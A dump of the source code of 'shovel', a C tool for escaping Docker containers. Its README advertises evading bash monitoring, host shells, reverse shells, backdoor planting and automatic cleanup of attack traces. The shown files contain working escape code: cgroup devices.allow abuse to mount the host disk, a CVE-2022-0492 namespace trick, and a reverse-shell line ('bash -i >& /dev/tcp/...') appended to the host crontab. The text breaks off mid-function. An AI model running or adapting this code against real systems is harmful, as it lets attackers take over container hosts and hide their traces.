Full Code of SPuerBRead/shovel for AI

master 59c0eb73ed4d cached
34 files
73.5 KB
19.5k tokens
53 symbols
1 requests
Download .txt
Repository: SPuerBRead/shovel
Branch: master
Commit: 59c0eb73ed4d
Files: 34
Total size: 73.5 KB

Directory structure:
gitextract_3up1uc5p/

├── .gitignore
├── CMakeLists.txt
├── README.md
├── docker/
│   ├── capability.c
│   ├── capability.h
│   ├── cgroup.c
│   ├── cgroup.h
│   ├── dev.c
│   ├── dev.h
│   ├── path.c
│   ├── path.h
│   ├── security.c
│   └── security.h
├── exploits/
│   ├── cve_2022_0492.c
│   ├── cve_2022_0492.h
│   ├── devices_allow.c
│   ├── devices_allow.h
│   ├── release_agent.c
│   └── release_agent.h
├── main.c
└── util/
    ├── custom_struts.c
    ├── custom_struts.h
    ├── mount_info.c
    ├── mount_info.h
    ├── output.c
    ├── output.h
    ├── program_info.c
    ├── program_info.h
    ├── random_str.c
    ├── random_str.h
    ├── regex_util.c
    ├── regex_util.h
    ├── utils.c
    └── utils.h

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
CMakeLists.txt.user
CMakeCache.txt
CMakeFiles
CMakeScripts
Testing
Makefile
cmake_install.cmake
install_manifest.txt
compile_commands.json
CTestTestfile.cmake
_deps
cmake-build-debug
.DS_Store
**/.idea/

# User-specific stuff:
.idea/workspace.xml
.idea/tasks.xml
.idea/dictionaries
.idea/vcs.xml
.idea/jsLibraryMappings.xml

# Sensitive or high-churn files:
.idea/dataSources.ids
.idea/dataSources.xml
.idea/dataSources.local.xml
.idea/sqlDataSources.xml
.idea/dynamic.xml
.idea/uiDesigner.xml

# Gradle:
.idea/gradle.xml
.idea/libraries

# Mongo Explorer plugin:
.idea/mongoSettings.xml

## File-based project format:
*.iws

## Plugin-specific files:

# IntelliJ
/out/

# mpeltonen/sbt-idea plugin
.idea_modules/

# JIRA plugin
atlassian-ide-plugin.xml

# Crashlytics plugin (for Android Studio and IntelliJ)
com_crashlytics_export_strings.xml
crashlytics.properties
crashlytics-build.properties
fabric.properties

### JetBrains Patch ###
# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721

# *.iml
# modules.xml
# .idea/misc.xml
# *.ipr


================================================
FILE: CMakeLists.txt
================================================
cmake_minimum_required(VERSION 2.8.12.2)
project(shovel C)

set(CMAKE_C_STANDARD 99)

add_executable(shovel main.c exploits/release_agent.c exploits/release_agent.h docker/capability.c docker/capability.h util/output.c util/output.h exploits/cve_2022_0492.c exploits/cve_2022_0492.h docker/path.c docker/path.h util/regex_util.c util/regex_util.h util/random_str.c util/random_str.h exploits/devices_allow.c exploits/devices_allow.h util/program_info.c util/program_info.h util/utils.c util/utils.h util/custom_struts.c util/custom_struts.h docker/cgroup.c docker/cgroup.h docker/dev.c docker/dev.h util/mount_info.c util/mount_info.h docker/security.c docker/security.h)


================================================
FILE: README.md
================================================
## Shovel

Docker容器逃逸工具

1、通过mount命令逃逸触发告警?

2、unshare命令发现没有-C参数?

3、机器上没有各种语言的执行环境?

4、逃逸程序太大不好下载?

遇到以上问题那就用下这个程序吧,原理上就是逃逸的那一堆shell脚本,换成系统调用,绕过bash的监控

![](./img/shovel.gif)

## 功能

* 支持的逃逸方式
  * release_agent
  * device_allow
  * cve-2022-0492


* 支持的存储驱动
  * device_mapper
  * aufs
  * btrfs
  * vfs
  * zfs
  * overlayfs


* 支持的利用类型
  * exec: 在宿主机执行命令
  * shell: 获取宿主机shell
  * reverse: 反弹shell
  * backdoor: 向宿主机植入后门并运行


* 自动清理攻击痕迹

## 使用方式

```text
usage: shovel [options ...]

Options:
Options of program
    -h, --help                           show help message
    -v, --version                        show program version
Options of escape
    -r, --release-agent                  escape by release-agent
    -d, --devices-allow                  escape by devices-allow
    -u, --cve-2022-0492                  get cap_sys_admin by cve-2022-0492 and return new namespace bash
Options of other
    -p, --container_path=xxx             manually specify path of container in host,use this parameter if program can't get it automatically
    -m, --mode=xxx                       the mode that needs to be returned after a successful escape { exec | shell | reverse | backdoor }
    -c, --command=xxx                    set command in exec mode
    -I, --ip                             set ip address in reverse mode
    -P, --port                           set port in reverse mode
    -B, --backdoor_path                  set backdoor file path
    -y, --assumeyes                      automatically answer yes for all questions
Mode (-m) type guide
    exec:     run a single command and return the result
    shell:    get host shell in current console
    reverse:  reverse shell to remote listening address
    backdoor: put a backdoor to the host and execute
```
## 编译

编译时尽量用低版本glibc,高版本glibc编译到老系统上没办法运行

编译环境如果是Linux 4.6前,没有CLONE_NEWCGROUP常量,或者其他情况编译时出现以下报错

```text
/docker/opt/shovel/exploits/cve_2022_0492.c:30: error: 'CLONE_NEWCGROUP' undeclared (first use in this function)
```

可以用[no_0492](https://github.com/SPuerBRead/shovel/tree/no_0492) 这个branch的代码,这个版本的代码不包含cve-2022-0492的exp,换掉了一些c99的写法,使其尽可能在老机器上可以编译



```shell
cmake .
make
```

================================================
FILE: docker/capability.c
================================================
//
// Created by FlagT on 2022/6/22.
//

#include "capability.h"
#include "../util/output.h"
#include <linux/capability.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <malloc.h>

char const *cap_name[__CAP_BITS] = {
        /* 0 */    "cap_chown",
        /* 1 */    "cap_dac_override",
        /* 2 */    "cap_dac_read_search",
        /* 3 */    "cap_fowner",
        /* 4 */    "cap_fsetid",
        /* 5 */    "cap_kill",
        /* 6 */    "cap_setgid",
        /* 7 */    "cap_setuid",
        /* 8 */    "cap_setpcap",
        /* 9 */    "cap_linux_immutable",
        /* 10 */    "cap_net_bind_service",
        /* 11 */    "cap_net_broadcast",
        /* 12 */    "cap_net_admin",
        /* 13 */    "cap_net_raw",
        /* 14 */    "cap_ipc_lock",
        /* 15 */    "cap_ipc_owner",
        /* 16 */    "cap_sys_module",
        /* 17 */    "cap_sys_rawio",
        /* 18 */    "cap_sys_chroot",
        /* 19 */    "cap_sys_ptrace",
        /* 20 */    "cap_sys_pacct",
        /* 21 */    "cap_sys_admin",
        /* 22 */    "cap_sys_boot",
        /* 23 */    "cap_sys_nice",
        /* 24 */    "cap_sys_resource",
        /* 25 */    "cap_sys_time",
        /* 26 */    "cap_sys_tty_config",
        /* 27 */    "cap_mknod",
        /* 28 */    "cap_lease",
        /* 29 */    "cap_audit_write",
        /* 30 */    "cap_audit_control",
        /* 31 */    "cap_setfcap",
        /* 32 */    "cap_mac_override",
        /* 33 */    "cap_mac_admin",
        /* 34 */    "cap_syslog",
        /* 35 */    "cap_wake_alarm",
        /* 36 */    "cap_block_suspend",
};

void get_current_process_capability(struct __user_cap_header_struct *header, struct __user_cap_data_struct *caps) {
    syscall(__NR_capget, header, caps);
}

int check_cap_sys_admin() {
    printf_wrapper(INFO, "Check if CAP_SYS_ADMIN exists in the current process Capabilities\n");
    printf_wrapper(INFO, "Current Process(%d) Capability:\n", getpid());
    struct __user_cap_header_struct header = {_LINUX_CAPABILITY_VERSION_3, getpid()};
    struct __user_cap_data_struct caps[_LINUX_CAPABILITY_U32S_3] = {};
    get_current_process_capability(&header, (struct __user_cap_data_struct *) &caps);
    printf_wrapper(INFO, "CapEff: 0x%016llx\n", caps->effective);
    printf_wrapper(INFO, "CapInh: 0x%016llx\n", caps->inheritable);
    printf_wrapper(INFO, "CapPrm: 0x%016llx\n", caps->permitted);
    cap_value_t cap;
    const char *sep = "";
    char *effective_capability_str = malloc(512 * sizeof(char));
    memset(effective_capability_str, 0x00 ,512);
    for (cap = 0; (cap < 64) && (caps->effective >> cap); ++cap) {
        if (caps->effective & (1ULL << cap)) {
            char *ptr;
            ptr = (char *) cap_name[cap];
            if (ptr != NULL) {
                strcat(effective_capability_str, sep);
                strcat(effective_capability_str, ptr);
            } else {
                printf_wrapper(WARNING, "Cap to name failed cap: %d\n", cap);
            }
            sep = ",";
        }
    }
    printf_wrapper(INFO, "Effective capability: %s\n", effective_capability_str);
    if (strstr(effective_capability_str, cap_name[21])) {
        free(effective_capability_str);
        printf_wrapper(INFO, "Current process has CAP_SYS_ADMIN\n");
        return 1;
    } else {
        free(effective_capability_str);
        printf_wrapper(INFO, "Current process don't have CAP_SYS_ADMIN\n");
        return 0;
    }
}



================================================
FILE: docker/capability.h
================================================
//
// Created by FlagT on 2022/6/22.
//

#define __CAP_BITS   37
#include <linux/capability.h>

#ifndef SHOVEL_CAPABILITY_H
#define SHOVEL_CAPABILITY_H
#endif //SHOVEL_CAPABILITY_H

typedef int cap_value_t;

char const *cap_name[__CAP_BITS];

int check_cap_sys_admin();

================================================
FILE: docker/cgroup.c
================================================
//
// Created by FlagT on 2022/7/3.
//

#include <malloc.h>
#include "cgroup.h"
#include <string.h>
#include <fcntl.h>
#include "../util/utils.h"
#include "../util/regex_util.h"

int get_cgroup_id(char *cgroup_id) {
    char *cgroup_path = "/proc/1/cgroup";
    char *cgroup_data = (char *) malloc(1024 * 100 * sizeof(char));
    memset(cgroup_data, 0x00, 1024 * 100);
    read_file(cgroup_path, cgroup_data, O_RDONLY);
    regex_util(cgroup_data,
               "\\d+?:[a-zA-Z0-9]*?:(/docker/[a-zA-Z0-9]{64}|/kubepods\\.slice/kubepods-burstable\\.slice/kubepods-burstable-pod[a-zA-Z0-9_-]+?\\.slice/docker-[a-zA-Z0-9]{64}\\.scope|/kubepods/burstable/pod[a-zA-Z0-9_-]+?/[a-zA-Z0-9]{64}|/kubepods/pod[a-zA-Z0-9_-]+?/[a-zA-Z0-9]{64})",
               cgroup_id);
}


================================================
FILE: docker/cgroup.h
================================================
//
// Created by FlagT on 2022/7/3.
//

#ifndef SHOVEL_CGROUP_H
#define SHOVEL_CGROUP_H

#endif //SHOVEL_CGROUP_H


int get_cgroup_id(char *);


================================================
FILE: docker/dev.c
================================================
//
// Created by FlagT on 2022/7/10.
//

#include "dev.h"
#include "../util/mount_info.h"
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include "../util/custom_struts.h"
#include "../util/utils.h"

int get_host_dev_major_minor() {
    char *mount_resolv_keyword = "/resolv.conf";
    char *mount_hostname_keyword = "/hostname";
    char *mount_host_keyword = "/hosts";
    char *get_dev_major_minor_path = "/proc/1/mountinfo";

    char *mountinfo_buffer = malloc((1024 * 1024) * sizeof(char));
    memset(mountinfo_buffer, 0x00, (1024 * 1024));
    read_file(get_dev_major_minor_path, mountinfo_buffer, O_RDONLY);
    char **mountinfo_line = {0x00};
    mountinfo_line = str_split(mountinfo_buffer, '\n');
    while (*mountinfo_line) {
        char **mountinfo = {0x00};
        mountinfo = str_split(*mountinfo_line, ' ');
        if (strstr(mountinfo[3], mount_resolv_keyword) || strstr(mountinfo[3], mount_hostname_keyword) ||
            strstr(mountinfo[3], mount_host_keyword)) {
            char **major_minor = {0x00};
            major_minor = str_split(mountinfo[2], ':');
            host_dev_attribute.major = strtol(major_minor[0], NULL, 0);
            host_dev_attribute.minor = strtol(major_minor[1], NULL, 0);
            host_dev_attribute.fstype = malloc(10 * sizeof(char));
            strcpy(host_dev_attribute.fstype, mountinfo[7]);
            return 0;
        } else {
            *mountinfo_line++;
        }
    }
    return -1;
}

================================================
FILE: docker/dev.h
================================================
//
// Created by FlagT on 2022/7/10.
//

#ifndef SHOVEL_DEV_H
#define SHOVEL_DEV_H

#endif //SHOVEL_DEV_H


int get_host_dev_major_minor();

================================================
FILE: docker/path.c
================================================
//
// Created by FlagT on 2022/6/22.
//

#include "path.h"
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <mntent.h>
#include "../util/regex_util.h"
#include "../util/output.h"
#include "../util/utils.h"
#include "../util/mount_info.h"

enum STORAGE_DRIVERS {
    DEVICE_MAPPER = 1,
    AUFS = 2,
    BTRFS = 3,
    VFS = 4,
    ZFS = 5,
    OVERLAYFS = 6,
    UNKNOWN = 7
};

int get_storage_driver_type() {
    char *proc_mounts_path = "/proc/mounts";
    char *mtab_path = "/etc/mtab";
    char *vfs_mount_path = "/proc/1/mountinfo";
    int length;
    if (access(proc_mounts_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) {
        for (int i = 0; i < length; i++) {
            if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) {
                printf_wrapper(INFO, "Storage driver type: overlayfs\n");
                return OVERLAYFS;
            } else if (strstr(mounts_info[i]->mnt_fsname, "/dev/mapper/docker")) {
                printf_wrapper(INFO, "Storage driver type: devicemapper\n");
                return DEVICE_MAPPER;
            } else if (strcmp(mounts_info[i]->mnt_type, "zfs") == 0) {
                printf_wrapper(INFO, "Storage driver type: zfs\n");
                return ZFS;
            } else if (strcmp(mounts_info[i]->mnt_type, "aufs") == 0) {
                printf_wrapper(INFO, "Storage driver type: aufs\n");
                return AUFS;
            } else if (strcmp(mounts_info[i]->mnt_type, "btrfs") == 0) {
                printf_wrapper(INFO, "Storage driver type: btrfs\n");
                return BTRFS;
            }
        }
    }
    if (access(mtab_path, F_OK) == 0 && ((length = load_mount_info(proc_mounts_path, mounts_info)) != 0)) {
        for (int i = 0; i < length; i++) {
            if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) {
                printf_wrapper(INFO, "Storage driver type: overlayfs\n");
                return OVERLAYFS;
            } else if (strstr(mounts_info[i]->mnt_fsname, "/dev/mapper/docker")) {
                printf_wrapper(INFO, "Storage driver type: devicemapper\n");
                return DEVICE_MAPPER;
            } else if (strcmp(mounts_info[i]->mnt_type, "zfs") == 0) {
                printf_wrapper(INFO, "Storage driver type: zfs\n");
                return ZFS;
            } else if (strcmp(mounts_info[i]->mnt_type, "aufs") == 0) {
                printf_wrapper(INFO, "Storage driver type: aufs\n");
                return AUFS;
            } else if (strcmp(mounts_info[i]->mnt_type, "btrfs") == 0) {
                printf_wrapper(INFO, "Storage driver type: btrfs\n");
                return BTRFS;
            }
        }
    }
    if (access(vfs_mount_path, F_OK) == 0 && ((length = load_mount_info(vfs_mount_path, mounts_info)) != 0)) {
        for (int i = 0; i < length; i++) {
            if (strstr(mounts_info[i]->mnt_opts, "/var/lib/docker/vfs")) {
                printf_wrapper(INFO, "Storage driver type: vfs\n");
                return VFS;
            }
        }

    }
    return UNKNOWN;
}

void get_container_path_in_host(char *container_path_in_host) {
    switch (get_storage_driver_type()) {
        case OVERLAYFS: {
            char *regex_match_result = (char *) malloc(512 * sizeof(char));
            for (int i = 0; i < 1024; i++) {
                if (mounts_info[i] != NULL) {
                    if (strcmp(mounts_info[i]->mnt_type, "overlay") == 0) {
                        regex_util(mounts_info[i]->mnt_opts, ".*?perdir=(.*?),", regex_match_result);
                        if (strcmp(regex_match_result, "") != 0) {
                            strcpy(container_path_in_host, regex_match_result);
                            printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host);
                            break;
                        } else {
                            continue;
                        }
                    }
                }
            }
            free(regex_match_result);
            break;
        }
        case DEVICE_MAPPER: {
            char *regex_match_result = (char *) malloc(512 * sizeof(char));
            for (int i = 0; i < 1024; i++) {
                if (mounts_info[i] != NULL) {
                    if (strstr(mounts_info[i]->mnt_fsname, "/dev/mapper/docker")) {
                        regex_util(mounts_info[i]->mnt_fsname, "dev/mapper/docker-[0-9]*:[0-9]*-[0-9]*-(.*)",
                                   regex_match_result);
                        if (strcmp(regex_match_result, "") != 0) {
                            strcpy(container_path_in_host, "/var/lib/docker/devicemapper/mnt/");
                            strcat(container_path_in_host, regex_match_result);
                            strcat(container_path_in_host, "/rootfs");
                            printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host);
                            break;
                        } else {
                            continue;
                        }
                    }
                }
            }
            free(regex_match_result);
            break;
        }
        case VFS: {
            for (int i = 0; i < 1024; i++) {
                if (mounts_info[i] != NULL) {
                    if (strstr(mounts_info[i]->mnt_opts, "/var/lib/docker/vfs")) {
                        strcpy(container_path_in_host, mounts_info[i]->mnt_opts);
                        printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host);
                        break;
                    } else {
                        continue;
                    }
                }
            }
            break;
        }
        case ZFS: {
            char *regex_match_result = (char *) malloc(512 * sizeof(char));
            for (int i = 0; i < 1024; i++) {
                if (mounts_info[i] != NULL) {
                    if (strcmp(mounts_info[i]->mnt_type, "zfs") == 0) {
                        regex_util(mounts_info[i]->mnt_fsname, "/([a-z0-9]*$)", regex_match_result);
                        if (strlen(regex_match_result) == 64) {
                            strcpy(container_path_in_host, "/var/lib/docker/zfs/graph/");
                            strcat(container_path_in_host, regex_match_result);
                            printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host);
                            break;
                        } else {
                            continue;
                        }
                    }
                }
            }
            free(regex_match_result);
            break;
        }
        case AUFS: {
            char *regex_match_result = (char *) malloc(512 * sizeof(char));
            char *si_id = (char *) malloc(512 * sizeof(char));
            char *aufs_read_path = (char *) malloc(512 * sizeof(char));
            for (int i = 0; i < 1024; i++) {
                if (mounts_info[i] != NULL) {
                    if (strcmp(mounts_info[i]->mnt_type, "aufs") == 0) {
                        regex_util(mounts_info[i]->mnt_opts, "si=([a-z0-9]*),", si_id);
                        if (strcmp(si_id, "") != 0) {
                            strcpy(aufs_read_path, "/sys/fs/aufs/si_");
                            strcat(aufs_read_path, si_id);
                            strcat(aufs_read_path, "/br0");
                            char *aufs_path_buffer = NULL;
                            if (read_file(aufs_read_path, aufs_path_buffer, O_RDONLY) == -1) {
                                printf_wrapper(ERROR, "Get container path in host failed\n");
                            }
                            regex_util(aufs_path_buffer, "^(.*?)=", regex_match_result);
                            strcpy(container_path_in_host, regex_match_result);
                            printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host);
                            break;
                        } else {
                            continue;
                        }
                    }
                }
            }
            free(regex_match_result);
            free(si_id);
            free(aufs_read_path);
            break;
        }
        case BTRFS: {
            char *regex_match_result = (char *) malloc(512 * sizeof(char));
            for (int i = 0; i < 1024; i++) {
                if (mounts_info[i] != NULL) {
                    if (strcmp(mounts_info[i]->mnt_type, "btrfs") == 0) {
                        regex_util(mounts_info[i]->mnt_opts, "subvol=(/btrfs/subvolumes/[a-z0-9]{64})",
                                   regex_match_result);
                        if (strcmp(regex_match_result, "") != 0) {
                            strcpy(container_path_in_host, "/var/lib/docker");
                            strcat(container_path_in_host, regex_match_result);
                            printf_wrapper(INFO, "Container path in host: %s\n", container_path_in_host);
                            break;
                        } else {
                            continue;
                        }
                    }
                }
            }
            free(regex_match_result);
            break;
        }
    }
}


================================================
FILE: docker/path.h
================================================
//
// Created by FlagT on 2022/6/22.
//

#ifndef SHOVEL_PATH_H
#define SHOVEL_PATH_H

#endif //SHOVEL_PATH_H


struct mntent *mounts_info[1024];
void get_container_path_in_host(char *);

================================================
FILE: docker/security.c
================================================
//
// Created by FlagT on 2022/8/20.
//

#include "security.h"
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include "../util/utils.h"


int apparmor_enable_check() {
    char *apparmor_check_path = "/proc/1/attr/apparmor/current";
    char *apparmor_status = (char *) malloc(1024 * 100 * sizeof(char));
    memset(apparmor_status, 0x00, 1024 * 100);
    int ret = read_file(apparmor_check_path, apparmor_status, O_RDONLY);
    if (ret == -1) {
        return -1;
    }
    if (strstr(apparmor_status, "unconfined")) {
        return 1;
    }
    return 0;
}


long int seccomp_enable_check() {
    char *seccomp_check_path = "/proc/1/status";
    char *process_status = (char *) malloc(1024 * 100 * sizeof(char));
    memset(process_status, 0x00, 1024 * 100);
    int ret = read_file(seccomp_check_path, process_status, O_RDONLY);
    if (ret == -1) {
        return -1;
    }
    char **status_line = {0x00};
    status_line = str_split(process_status, '\n');
    long int status = -1;
    while (*status_line) {
        if (strstr(*status_line, "Seccomp:")) {
            char *seccomp_status = malloc(128 * sizeof(char));
            char *ptr;
            memset(seccomp_status, 0x00, 128);
            seccomp_status = str_replace(*status_line, "Seccomp:", "");
            status = strtol(seccomp_status, &ptr, 10);
        }
        *status_line++;
    }
    return status;
}






================================================
FILE: docker/security.h
================================================
//
// Created by FlagT on 2022/8/20.
//

#ifndef SHOVEL_SECURITY_H
#define SHOVEL_SECURITY_H

int apparmor_enable_check();

long int seccomp_enable_check();

#endif //SHOVEL_SECURITY_H


================================================
FILE: exploits/cve_2022_0492.c
================================================
//
// Created by FlagT on 2022/6/22.
//

#define _GNU_SOURCE

#include "cve_2022_0492.h"

#include <fcntl.h>
#include <stdlib.h>
#include "../util/output.h"
#include "../docker/capability.h"
#include "../util/utils.h"

#include <sched.h>
#include <string.h>

int check_max_user_namespace() {
    char *max_user_namespace_path = "/proc/sys/user/max_user_namespaces";
    char *max_user_namespace_path_buffer = malloc(64 * sizeof(char));
    if (read_file(max_user_namespace_path, max_user_namespace_path_buffer, O_RDONLY) == -1) {
        printf_wrapper(WARNING, "Get max_user_namespace value failed\n");
    }
    int max_user_namespaces = strtol(max_user_namespace_path_buffer, NULL, 0);
    free(max_user_namespace_path_buffer);
    return max_user_namespaces;
}

int unshare_ns() {
    int flags = CLONE_NEWUSER | CLONE_NEWCGROUP | CLONE_NEWNS;
    int ret = unshare(flags);
    if (ret == -1) {
        printf_wrapper(ERROR, "Create user namespace failed\n");
        return -1;
    }
    return 0;
}

void set_uid() {
    char *setgroups_path = "/proc/self/setgroups";
    char *uid_map_path = "/proc/self/uid_map";
    char *gid_map_path = "/proc/self/gid_map";
    int setgroups_path_ret = write_file(setgroups_path, "deny", O_WRONLY);
    int uid_map_path_ret = write_file(uid_map_path, "0 0 1", O_WRONLY);
    int gid_map_path_ret = write_file(gid_map_path, "0 0 1", O_WRONLY);
    if (setgroups_path_ret != 0 || uid_map_path_ret != 0 || gid_map_path_ret != 0) {
        printf_wrapper(ERROR, "Set current user nobody to root failed\n");
    }
}


int cve_2022_0294() {
    printf_wrapper(INFO, "Check max_user_namespace to see if user namespace creation is allowed\n");
    int max_user_namespaces = check_max_user_namespace();
    if (max_user_namespaces != 0) {
        printf_wrapper(INFO, "Number of max_user_namespace is: %d\n", max_user_namespaces);
        printf_wrapper(INFO, "Try create mount/user/cgroup namespace\n");
        if (unshare_ns() == -1) {
            return 0;
        }
        printf_wrapper(INFO, "Set current user nobody to root\n");
        set_uid();
        int sys_admin = check_cap_sys_admin();
        if (sys_admin == 0) {
            printf_wrapper(INFO, "Attack by CVE-2022-0492 failed\n");
            return 0;
        } else {
            return 1;
        }
    } else {
        printf_wrapper(ERROR, "Max user namespace is 0, can't create user namespace\n");
        return 0;
    }
}


================================================
FILE: exploits/cve_2022_0492.h
================================================
//
// Created by FlagT on 2022/6/22.
//

#ifndef SHOVEL_CVE_2022_0492_H
#define SHOVEL_CVE_2022_0492_H

#endif //SHOVEL_CVE_2022_0492_H


int check_max_user_namespace();

int cve_2022_0294();


================================================
FILE: exploits/devices_allow.c
================================================
//
// Created by FlagT on 2022/6/25.
//

#include "devices_allow.h"
#include "../util/output.h"
#include <stdlib.h>
#include "../util/random_str.h"
#include "../util/custom_struts.h"
#include "../docker/dev.h"
#include <string.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <fcntl.h>
#include <sys/sysmacros.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include "../util/utils.h"

int reset_device_allow() {

}

void device_allow_clear_all() {
    char *replace_buffer = malloc(1024 * 1024 * sizeof(char));
    memset(replace_buffer, 0x00, 1024 * 1024);
    int recover_ret = 0;
    if (attack_info.attack_mode == REVERSE) {
        char *file_buffer = malloc(1024 * 1024 * sizeof(char));
        memset(file_buffer, 0x00, 1024 * 1024);
        read_file(device_allow_attack_info.crontab_path, file_buffer, O_RDONLY);
        replace_buffer = str_replace(file_buffer, device_allow_attack_info.exp, "");
        if (replace_buffer == NULL) {
            printf_wrapper(ERROR, "Get recover crontab content failed\n");
        }
        recover_ret = write_file(device_allow_attack_info.crontab_path, replace_buffer, O_WRONLY | O_TRUNC);
        if (recover_ret == -1) {
            printf_wrapper(ERROR, "Rewrite %s to clear exp failed\n", device_allow_attack_info.crontab_path);
        }
        free(file_buffer);
    }
    int remove_host_dev_file_ret = remove_file(device_allow_attack_info.host_dev_path);
    if (remove_host_dev_file_ret == -1) {
        printf_wrapper(ERROR, "Delete host dev file %s failed\n", device_allow_attack_info.host_dev_path);
    }
    int umount_host_filesystem_ret = umount(device_allow_attack_info.host_filesystem_mount_path);
    if (umount_host_filesystem_ret == -1) {
        printf_wrapper(ERROR, "Umount host filesystem %s failed\n",
                       device_allow_attack_info.host_filesystem_mount_path);
    }
    int umount_cgroup_ret = umount(device_allow_attack_info.mount_path);
    if (umount_cgroup_ret == -1) {
        printf_wrapper(ERROR, "Umount cgroup %s failed\n",
                       device_allow_attack_info.mount_path);
    }
    if (replace_buffer == NULL || recover_ret == -1 || remove_host_dev_file_ret == -1 ||
        umount_host_filesystem_ret == -1 || umount_cgroup_ret == -1) {
        printf_wrapper(ERROR, "Failed to clear attack related file\n");
    } else {
        printf_wrapper(INFO, "Already clear attack related files\n");
    }
    free(replace_buffer);
}

int device_allow_reverse() {
    char *crontab_path = malloc(1024 * sizeof(char));
    memset(crontab_path, 0x00, 1024);
    strcpy(crontab_path, device_allow_attack_info.host_filesystem_mount_path);
    strcat(crontab_path, "/etc/crontab");
    device_allow_attack_info.crontab_path = malloc(1024 * sizeof(char));
    memset(device_allow_attack_info.crontab_path, 0x00, 1024);
    strcpy(device_allow_attack_info.crontab_path, crontab_path);
    char *exp = malloc(2048 * sizeof(char));
    strcpy(exp, "*/1 * * * * root ");
    strcat(exp, "bash -c \"bash -i >& /dev/tcp/");
    strcat(exp, attack_info.ip);
    strcat(exp, "/");
    strcat(exp, attack_info.port);
    strcat(exp, " 0>&1\"\n");
    device_allow_attack_info.exp = malloc(2048 * sizeof(char));
    memset(device_allow_attack_info.exp, 0x00, 2048);
    strcpy(device_allow_attack_info.exp, exp);
    if (write_file(crontab_path, exp, O_WRONLY | O_APPEND) == -1) {
        printf_wrapper(ERROR, "Write %s failed\n", crontab_path);
        exit(EXIT_SUCCESS);
    } else {
        printf_wrapper(INFO, "Write exp to %s\n", crontab_path);
    }
    free(crontab_path);
    free(exp);
    printf_wrapper(INFO,
                   "If the crontab is executed successfully, it will reverse shell to specified address within 1 minute, the program will wait for a minute and then clean up the crontab\n");
    sleep(60);
    device_allow_clear_all();
    return 0;
}

int device_allow_shell() {
    printf_wrapper(INFO, "Chroot to %s\n", device_allow_attack_info.host_filesystem_mount_path);
    int fd = open(".", O_RDONLY);
    if (chroot(device_allow_attack_info.host_filesystem_mount_path) != 0) {
        printf_wrapper(ERROR, "Chroot to %s failed\n", device_allow_attack_info.host_filesystem_mount_path);
        return -1;
    }
    printf_wrapper(INFO,
                   "This shell just chroot to host filesystem and run sh not real host shell, you can write/read host file, call 'exit' quit shell\n");
    chdir("/");
    int pid = fork();
    if (!pid) {
        execvp("/bin/sh", NULL);
    }
    printf_wrapper(INFO, "New sh process pid: %d\n", pid);
    if (waitpid(pid, NULL, 0) <= 0) {
        printf("wait sh process exit failed\n");
    }
    if (fchdir(fd) < 0) {
        printf_wrapper(ERROR, "fchdir to container root failed\n");
    }
    close(fd);
    for (int x = 0; x < 1024; x++) {
        chdir("..");
    }
    chroot(".");
    device_allow_clear_all();
    return 0;
}


int escape_by_device_allow() {
    const int cgroup_path_random_length = 10;
    char mount_path[128] = "/tmp/tmp.";
    char *device_allow_path = malloc(512 * sizeof(char));
    printf_wrapper(INFO, "Start escape by device_allow\n");
    char *cgroup_path_random = malloc(cgroup_path_random_length + 1);
    rand_string(cgroup_path_random, cgroup_path_random_length);
    strcat(mount_path, cgroup_path_random);
    free(cgroup_path_random);
    struct stat st = {0};
    if (stat(mount_path, &st) == -1) {
        mkdir(mount_path, 0700);
    }
    printf_wrapper(INFO, "Cgroup devices controller mount path: %s\n", mount_path);
    if (mount("devices", mount_path, "cgroup", 0, "devices")) {
        printf_wrapper(ERROR, "Mount cgroup devices controller to %s failed\n", mount_path);
        return -1;
    }
    device_allow_attack_info.mount_path = malloc(128 * sizeof(char));
    memset(device_allow_attack_info.mount_path, 0x00, 128);
    strcpy(device_allow_attack_info.mount_path, mount_path);

    strcpy(device_allow_path, mount_path);
    strcat(device_allow_path, device_allow_attack_info.cgroup_id);
    strcat(device_allow_path, "/devices.allow");
    if (file_exist(device_allow_path) == -1) {
        printf_wrapper(ERROR, "device_allow file %s not found\n", device_allow_path);
        return -1;
    }
    printf_wrapper(INFO, "Current docker devices.allow file path: %s\n", device_allow_path);
    device_allow_attack_info.device_allow_path = malloc(512 * sizeof(char));
    memset(device_allow_attack_info.device_allow_path, 0x00, 512);
    strcpy(device_allow_attack_info.device_allow_path, device_allow_path);
    printf_wrapper(INFO, "Write 'a' to %s\n", device_allow_path);
    if (write_file(device_allow_path, "a", O_WRONLY) != 0) {
        printf_wrapper(ERROR, "Write device_allow failed\n");
        return -1;
    }
    free(device_allow_path);

    get_host_dev_major_minor();
    printf_wrapper(INFO, "Host dev attribute info major: %d minor: %d fstype: %s\n", host_dev_attribute.major,
                   host_dev_attribute.minor, host_dev_attribute.fstype);
    char *host_dev_random = malloc(7 * sizeof(char));
    memset(host_dev_random, 0x00, 7);
    rand_string(host_dev_random, 6);
    char *host_dev_path = malloc(20 * sizeof(char));
    strcpy(host_dev_path, "/tmp/");
    strcat(host_dev_path, host_dev_random);
    printf_wrapper(INFO, "Create host filesystem block special file\n");
    if (mknodat(AT_FDCWD, host_dev_path, S_IFBLK | 0666, makedev(host_dev_attribute.major, host_dev_attribute.minor)) !=
        0) {
        printf_wrapper(ERROR, "Create host filesystem block special file failed\n");
        return -1;
    }
    printf_wrapper(INFO, "Host filesystem block special file path: %s\n", host_dev_path);
    device_allow_attack_info.host_dev_path = malloc(20 * sizeof(char));
    memset(device_allow_attack_info.host_dev_path, 0x00, 20);
    strcpy(device_allow_attack_info.host_dev_path, host_dev_path);
    free(host_dev_random);
    char host_mount_path[128] = "/tmp/tmp.";
